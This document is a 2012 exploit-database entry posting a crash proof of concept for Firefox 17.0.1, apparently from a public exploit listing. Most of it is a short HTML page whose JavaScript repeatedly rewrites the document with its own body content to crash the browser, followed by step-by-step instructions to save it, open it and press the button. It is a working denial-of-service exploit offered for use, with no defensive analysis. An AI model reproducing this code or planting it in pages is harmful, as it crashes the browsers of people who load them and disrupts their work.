Firefox 17.0.1 Crash Proof Of Concept



EKU-ID: 2895 CVE: OSVDB-ID:
Author: limb0 Published: 2012-12-20 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: Firefox 17.0.1 Crash PoC
# Date: 13.12.2012
# Exploit Author: limb0
# Software Link: http://www.mozilla.org/en-US/
# Version: 17.0.1
# Tested on: Linux

+-------------------------------------------------------------+
Instruction
1.Create a new .html/.htm file and copy paste this code in.

<html><head><center><h1>Firefox Crash PoC</h1>
<script type="text/javascript">
function crash()
{
	for (i = 0; i < 100; i++)
	{
subject = document.body.innerHTML;
document.write(subject);
	}
}
</script><body><form>
<input type="button" value="Crash it" onclick="crash()" />
</form></body></center></head></html>

2.Open the file with your default browser.
3.Press "Crash it" and voila.

Proof:
http://postimage.org/image/vadrodi7x/
+--------------------------------------------------------------+